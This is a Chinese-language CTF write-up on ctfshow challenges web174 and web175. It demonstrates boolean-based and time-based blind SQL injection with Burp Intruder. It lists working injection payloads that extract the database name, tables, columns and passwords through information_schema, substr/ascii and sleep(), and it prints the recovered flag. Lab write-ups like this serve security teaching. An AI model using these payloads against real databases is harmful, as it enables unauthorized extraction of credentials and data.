借ctfshow来测试盲注
布尔盲注:web174:
布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。
注:爆破出的结果可以借助excel排序好筛选
1、判断出是布尔盲注
(界面只显示出两种结果,并没有所谓的显示位)
2、判断数据库的长度
and length (database())=1 --+
burp抓包爆破长度:
发到爆破模块,并且定义1处为变量
设置爆破区间:
得出结论,长度为11:
3、之后就可以来一个一个的枚举数据库名了:
and ascii(substr(database(),1,1))=97 --+
此处定义两个便变量,并且选择爆炸模式:
框中区域即为数据库名:
将其提取出来,转化成字符: ctfshow_web
4、判断表的个数
and (select count(table_name) from information_schema.tables where table_schema=database())=2 --+
就一个表:
5、判断表名:
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110 --+
同样爆炸模式,两个变量一起
提取出来,转化成字符:ctfshow_user4
这里如果存在多张表的话,就在limit后面修改修改下即可。
6、判断表字段数
and (select count(*) from information_schema.columns where table_name='ctfshow_user4')=3 --+
有3个字段
7、判断字段名:
and ascii(substr((select column_name from information_schema.columns where table_name='ctfshow_user4' limit 0,1),1,1))=1 --+
直接三个变量一起设置,一步到位:(第一个需要从0开始)
红框标出的是第一个字段名:一次类推:
最后得到字段名为:id、username、password
8、开始获取数据啦:
and ascii(substr((select password from ctfshow_user4 limit 0,1),1,1))=97 --+
由于数据太庞大,事先判断了flag值在第25个数值上,所以我们直接定义在25位上面爆破数值,并选择爆炸模式:
转到excel里面:
之后将其转换成字符即可:成功解出 ctfshow{d1a690c-9b3-404b-b697-a35fb8cf61}
时间盲注:web175:
时间盲注又称延迟注入,个人理解,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错;利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
1、判断出是延时盲注
and if(1=2,1,sleep(5)) --+
2、判断数据库长度:
and if(length(database())=8,sleep(5),0) --+
对于延时盲注,burp测试时候需要打开这个开关,之后再排序即可:
数据库长度为11
3、数据库名:
and if(ascii(substr(database(),7,1))=2,sleep(3),0) --+
转换为字符串为:ctfshow_web
4、后面
判断表名、字段名、查询的方式和布尔盲注雷同:
表数:and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1) --+
表名:and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))=1,sleep(5),1) --+
字段数:and if((select count(column_name) from information_schema.columns where table_name = ' ')=3,sleep(5),1) --+
字段名:and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))=105,sleep(5),1) --+
查数据:and if(ascii(substr((select password from ctfshow_user5 limit 0,1),1,1))>0,sleep(5),1) --+